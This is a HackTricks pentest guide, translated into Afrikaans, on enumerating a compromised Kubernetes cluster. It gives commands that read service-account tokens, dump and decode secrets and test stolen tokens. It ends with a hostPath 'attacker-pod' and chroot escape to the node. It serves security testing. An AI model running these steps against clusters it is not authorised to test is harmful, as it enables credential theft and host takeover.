Afrikaans - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

Kubernetes Enumeration

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Kubernetes Tokens

As jy toegang tot 'n rekenaar gekompromitteer het, mag die gebruiker toegang tot 'n Kubernetes-platform hê. Die token word gewoonlik in 'n lêer aangedui deur die omgewingsveranderlike KUBECONFIG of binne ~/.kube.

In hierdie vouer kan jy konfigurasie-lêers vind met tokens en konfigurasies om met die API-bediener te verbind. In hierdie vouer kan jy ook 'n kasvouer vind met voorheen opgehaalde inligting.

As jy 'n pod binne 'n Kubernetes-omgewing gekompromitteer het, is daar ander plekke waar jy tokens en inligting oor die huidige K8-omgewing kan vind:

Diensrekeningtokens

Voordat jy voortgaan, as jy nie weet wat 'n diens in Kubernetes is nie, sal ek voorstel dat jy hierdie skakel volg en ten minste die inligting oor die Kubernetes-argitektuur lees.

Geneem van die Kubernetes dokumentasie:

"Wanneer jy 'n pod skep, as jy nie 'n diensrekening spesifiseer nie, word dit outomaties toegewys aan die default diensrekening in dieselfde naamruimte."

ServiceAccount is 'n voorwerp wat deur Kubernetes bestuur word en gebruik word om 'n identiteit te voorsien vir prosesse wat in 'n pod loop. Elke diensrekening het 'n geheim wat daarmee verband hou, en hierdie geheim bevat 'n draer-token. Dit is 'n JSON Web Token (JWT), 'n metode om aansprake veilig tussen twee partye voor te stel.

Gewoonlik bevat een van die gids:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

die lêers:

  • ca.crt: Dit is die CA-sertifikaat om Kubernetes-kommunikasie te kontroleer

  • namespace: Dit dui die huidige naamruimte aan

  • token: Dit bevat die diens-token van die huidige pod.

Nou dat jy die token het, kan jy die API-bediener binne die omgewingsveranderlike KUBECONFIG vind. Vir meer inligting voer (env | set) | grep -i "kuber|kube" uit.

Die diensrekeningtoken word onderteken deur die sleutel in die lêer sa.key en geverifieer deur sa.pub.

Standaardligging op Kubernetes:

  • /etc/kubernetes/pki

Standaardligging op Minikube:

  • /var/lib/localkube/certs

Warm Pods

Warm pods is pods wat 'n bevoorregte diensrekeningtoken bevat. 'n Bevoorregte diensrekeningtoken is 'n token wat toestemming het om bevoorregte take uit te voer, soos lys geheime, pods skep, ens.

RBAC

As jy nie weet wat RBAC is nie, lees hierdie afdeling.

Enumerasie Spiekbriefie

Om 'n K8s-omgewing te enumereer, het jy 'n paar dinge nodig:

  • 'n Geldige outentiserings-token. In die vorige afdeling het ons gesien waar om te soek vir 'n gebruikerstoken en 'n diensrekeningtoken.

  • Die adres (https://host:port) van die Kubernetes API. Dit kan gewoonlik in die omgewingsveranderlikes en/of in die kube-konfigurasie-lêer gevind word.

  • Opsioneel: Die ca.crt om die API-bediener te verifieer. Dit kan in dieselfde plekke gevind word waar die token gevind kan word. Dit is nuttig om die API-bediener se sertifikaat te verifieer, maar deur --insecure-skip-tls-verify met kubectl of -k met curl te gebruik, sal jy dit nie nodig hê nie.

Met daardie besonderhede kan jy Kubernetes enumereer. As die API om een of ander rede toeganklik is deur die Internet, kan jy net daardie inligting aflaai en die platform vanaf jou rekenaar enumereer.

Gewoonlik is die API-bediener egter binne 'n interne netwerk, dus sal jy 'n tonnel moet skep deur die gekompromitteerde rekenaar om dit vanaf jou rekenaar te kan bereik, of jy kan die kubectl binêre lêer oplaai, of curl/wget/anything gebruik om rou HTTP-versoeke na die API-bediener uit te voer.

Verskille tussen die list en get werkwoorde

Met get-regte kan jy inligting van spesifieke bates (describe-opsie in kubectl) API toegang:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

As jy die lys toestemming het, is jy toegelaat om API-versoeke uit te voer om 'n tipe bate te lys (get opsie in kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

As jy die watch toestemming het, is jy toegelaat om API-versoeke uit te voer om bates te monitor:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Hulle maak 'n stroomverbinding oop wat die volledige manifest van 'n Implementering terugstuur telkens as dit verander (of wanneer 'n nuwe een geskep word).

Die volgende kubectl-opdragte dui net aan hoe om die voorwerpe te lys. As jy die data wil benader, moet jy in plaas daarvan beskryf gebruik.

Gebruik van curl

Van binne 'n peul kan jy verskeie omgewingsveranderlikes gebruik:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Standaard kan die pod toegang kry tot die kube-api bediener in die domeinnaam kubernetes.default.svc en jy kan die kube-netwerk sien in /etc/resolv.config waar jy die adres van die kubernetes DNS-bedieners sal vind (die ".1" van dieselfde reeks is die kube-api eindpunt).

Gebruik kubectl

Met die token en die adres van die API-bedieners kan jy kubectl of curl gebruik om toegang daartoe te verkry soos hier aangedui:

Standaard kommunikeer die APISERVER met die https:// skema

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'

as daar geen https:// in die url is nie, kan jy 'n fout soos 'n slegte versoek kry.

Jy kan 'n amptelike kubectl spiekbrief hier vind. Die doel van die volgende afdelings is om op 'n geordende manier verskillende opsies te bied om die nuwe K8s waarop jy toegang het, te ondersoek en te verstaan.

Om die HTTP-versoek wat kubectl stuur te vind, kan jy die parameter -v=8 gebruik.

MitM kubectl - Proksiëring van kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Huidige Konfigurasie

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

As jy daarin geslaag het om sekere gebruikers se legitimasie te steel, kan jy dit plaaslik konfigureer deur iets soos die volgende te gebruik:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Kry Ondersteunde Hulpbronne

Met hierdie inligting sal jy al die dienste wat jy kan lys, ken

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Kry Huidige Voorregte

Om die huidige voorregte van die huidige gebruiker te kry, kan jy die volgende opdrag gebruik:

kubectl auth can-i --list

Hierdie opdrag sal 'n lys van alle aksies gee wat die huidige gebruiker mag uitvoer.

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

'n Ander manier om jou voorregte te kontroleer, is om die instrument te gebruik: https://github.com/corneliusweig/rakkess****

Jy kan meer leer oor Kubernetes RBAC in:

Kubernetes Role-Based Access Control(RBAC)

Sodra jy weet watter voorregte jy het, kyk na die volgende bladsy om uit te vind of jy dit kan misbruik om voorregte te verhoog:

Abusing Roles/ClusterRoles in Kubernetes

Kry ander rolle

k get roles
k get clusterroles

Kry namespaces

Kubernetes ondersteun veelvuldige virtuele klusters wat ondersteun word deur dieselfde fisiese kluster. Hierdie virtuele klusters word namespaces genoem.

k get namespaces

Kry geheime

Voer die volgende bevel uit om geheime in die huidige naamruimte te kry:

kubectl get secrets

Voer die volgende bevel uit om die inhoud van 'n spesifieke geheim te kry:

kubectl get secret <secret_name> -o yaml

Voer die volgende bevel uit om die inhoud van 'n spesifieke geheim te ontsleutel:

kubectl get secret <secret_name> -o jsonpath="{.data.<data_key>}" | base64 --decode
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

As jy geheime kan lees, kan jy die volgende lyne gebruik om die voorregte wat verband hou met elke token te kry:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Kry Diensrekeninge

Soos bespreek aan die begin van hierdie bladsy word 'n diensrekening gewoonlik aan 'n pod toegewys wanneer dit uitgevoer word. Daarom kan die lys van diensrekeninge, hul toestemmings en waar hulle uitgevoer word, 'n gebruiker in staat stel om voorregte te verhoog.

k get serviceaccounts

Kry Implementasies

Die implementasies spesifiseer die komponente wat moet uitgevoer word.

.k get deployments
k get deployments -n custnamespace

Kry Pods

Die Pods is die werklike houers wat sal loop.

k get pods
k get pods -n custnamespace
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

Kry Dienste

Kubernetes dienste word gebruik om 'n diens op 'n spesifieke poort en IP bloot te stel (wat as 'n vragbalanser sal optree vir die peule wat die diens eintlik aanbied). Dit is interessant om te weet waar jy ander dienste kan vind om te probeer aanval.

k get services
k get services -n custnamespace

Kry knooppunte

Kry al die knooppunte wat binne die groep geconfigureer is.

k get nodes

Kry DaemonSets

DaeamonSets maak dit moontlik om te verseker dat 'n spesifieke pod in alle nodusse van die groep (of in die geselekteerde) loop. As jy die DaemonSet verwyder, sal die pods wat deur dit bestuur word, ook verwyder word.

k get daemonsets

Kry cronjob

Cron-werk neem toe om met behulp van crontab-soort sintaksis die lancering van 'n pod te skeduleer wat 'n bepaalde aksie sal uitvoer.

k get cronjobs

Kry configMap

configMap bevat altyd baie inligting en konfigurasie lêers wat aan programme verskaf word wat in die kubernetes loop. Gewoonlik kan jy baie wagwoorde, geheime, tokens vind wat gebruik word om te verbind en te valideer na ander interne/eksterne dienste.

k get configmaps # -n namespace
k get all

Kry Pods verbruik

k top pod --all-namespaces

Ontsnapping uit die houer

As jy nuwe houers kan skep, kan jy dalk daaruit ontsnap na die node. Om dit te doen, moet jy 'n nuwe houer skep deur 'n yaml-lêer te gebruik, oorskakel na die geskepte houer en dan chroot in die stelsel van die node. Jy kan bestaande houers as verwysing vir die yaml-lêer gebruik, aangesien hulle bestaande beelde en paaie vertoon.

kubectl get pod <name> [-n <namespace>] -o yaml

as jy 'n pod op 'n spesifieke node wil skep, kan jy die volgende bevel gebruik om etikette op die node te kry

k get nodes --show-labels

Gewoonlik is kubernetes.io/hostname en node-role.kubernetes.io/master albei goeie etikette om te kies.

Dan skep jy jou attack.yaml lêer

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

oorpsronklike yaml-bron

Daarna skep jy die pod

kubectl apply -f attacker.yaml [-n <namespace>]

Nou kan jy oorskakel na die geskepte pod soos volg:

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

En uiteindelik chroot jy in die stelsel van die node.

chroot /root /bin/bash

Inligting verkry vanaf: Kubernetes Namespace Uitbreek deur gebruik te maak van 'n Onveilige Host Path Volume - Deel 1 Aanval en Verdediging van Kubernetes: Bust-A-Kube - Episode 1

Verwysings

LogoKubernetes Pentest Methodology Part 3CyberArk
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

PreviousAttacking Kubernetes from inside a PodNextKubernetes Role-Based Access Control(RBAC)

Last updated